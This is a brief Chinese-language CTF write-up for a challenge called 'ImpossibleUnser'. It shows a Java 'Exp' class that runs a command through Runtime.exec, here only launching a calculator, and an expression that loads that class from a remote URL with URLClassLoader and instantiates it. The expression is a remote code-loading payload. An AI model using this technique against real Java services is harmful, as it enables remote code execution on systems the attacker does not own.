就只做出一道很简单的题，还是太菜了。

ImpossibleUnser

找到这篇博客，加载远程恶意类就可以了。感觉能出网可能是非预期，另外那个反序列化的路由都没用了
但是我懒的弄jar包，就直接弄了个恶意class

public class Exp {
    public Exp(){
        try {
            Runtime.getRuntime().exec("calc");
        }catch (Exception e){
            e.printStackTrace();
        }
    }
}

new java.net.URLClassLoader(new java.net.URL[]{new java.net.URL("http://127.0.0.1:8990/")}).loadClass("Exp").getConstructors()[0].newInstance()就可以弹计算器了。